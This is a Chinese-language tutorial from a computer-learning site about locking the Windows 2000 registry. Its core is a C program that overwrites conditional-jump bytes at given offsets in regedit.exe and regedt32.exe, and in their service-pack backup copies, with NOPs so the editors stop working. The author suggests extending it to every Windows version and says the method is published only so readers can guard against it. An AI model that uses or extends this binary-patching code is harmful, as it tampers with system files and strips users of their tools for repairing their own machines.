文章收藏-FAQ 位置:电脑学习网

注册表终极操作 — 锁定注册表

    你有没有遇到注册表被锁定,无法打开注册表来手工修复呢?很多人都为这个头疼吧,相信你被锁定一次就知道他的操作原理了:

  修改[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]下的 DisableRegistryTools 值为 1。

  解锁的方法也有几种,比如程序用API函数调用注册表直接删除,做一个REG文件直接导入,写一个脚本……

  今天我就教大家写个程序来实现另类锁定,是不是很好奇了?

  实验环境:windows2000
  实验目的:锁定注册表(本方法利用了Cracker的思路来实现,直接让程序修改程序指令,使调用注册表程序禁止。)
  实现方法:C 程序

  首先我们要按照Cracker的思路反汇编WINNT下的regedit.exe和regedt32.exe找到跳转指令,怎么得到这些信息不是我们今天的目的,这里我就不详细介绍了,以下是我反汇编找到的跳转地址:

  1.regedit.exe 偏移地址:0x69CA 将指令:0x74 0x1A 修改成:0x90 0x90

  2.regedt32.exe 偏移地址:0x10bf2 将指令:0x74 0x52 修改成:0x90 0x90

  现在我们用程序把这2个偏移地址的指令给修改成0x90 0x90 ( 0x90代表nop,就是让程序什么也不做,执行下一条指令)让我们看看程序是如何实现的吧。

    #include
    #include
    bool scanreg(const char *file,long offset, int length,char *the); /*函数说明*/

    main()
    {
    char the[]={ 0x90,0x90 };
    scanreg(“C:\\WINNT\\regedit.exe“,0x69CA,0x02,the); /*调用函数修改winnt下的regedit.exe 其中的0x02是修改长度*/
    scanreg(“C:\\WINNT\\ServicePackFiles\\i386\\regedit.exe“,0x69CA,0x02,the); /*调用函数改变补丁下regedit.exe*/
    scanreg(“C:\\WINNT\\system32\\regedt32.exe“,0x10bf2,0x02,the); /*调用函数修改system32下的regedt32.exe */
    scanreg(“C:\\WINNT\\ServicePackFiles\\i386\\regedt32.exe“,0x10bf2,0x02,the); /*调用函数改变补丁下regedt32.exe*/
    }
    bool scanreg(const char *file,long offset, int length,char *the)
    {
    FILE *fp = NULL;
    bool result=false;
    if((fp=fopen(file,“rb+“))!=NULL) /*打开文件进行读写操作*/
    {
    fseek(fp,offset,1); /*把指针指向我们定义的偏移地址*/
    fwrite(the,length,1,fp); /*修改程序,把指令替换成0x90*/
    fclose(fp); /*关闭文件*/
    result=true;
    }
    return(result);
    }

  好了,我这里只是一个示范,只适合2000系统,把windows每种系统的注册表调用程序都分析一下,然后在程序开始用API函数GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判断系统,根据判断的系统来调用相应的修改函数。那不是通杀windows了?上面把方法公布出来,以便大家做好防范。

     [文章来源:“十万个为什么”电脑学习网]
     [网络地址:http://why100000.com]
     [版权声明:除本站部分特别声明禁止转载的专稿外,其他的文章可以自由转载,但请务必注明出处和原始作者。本站文章版权归文章原作者所有。如果本站转载的文章有版权问题请联系本站,我们会尽快予以更正。]
 

【字体:[大] [中] [小] 【加入收藏】 【发表评论】 【关闭本窗口】

Copyright © “十万个为什么”电脑学习网 2000-2007 陕ICP备06007929号
站务联系:MSN & Email:zhangking2008@gmail.com  QQ:9365822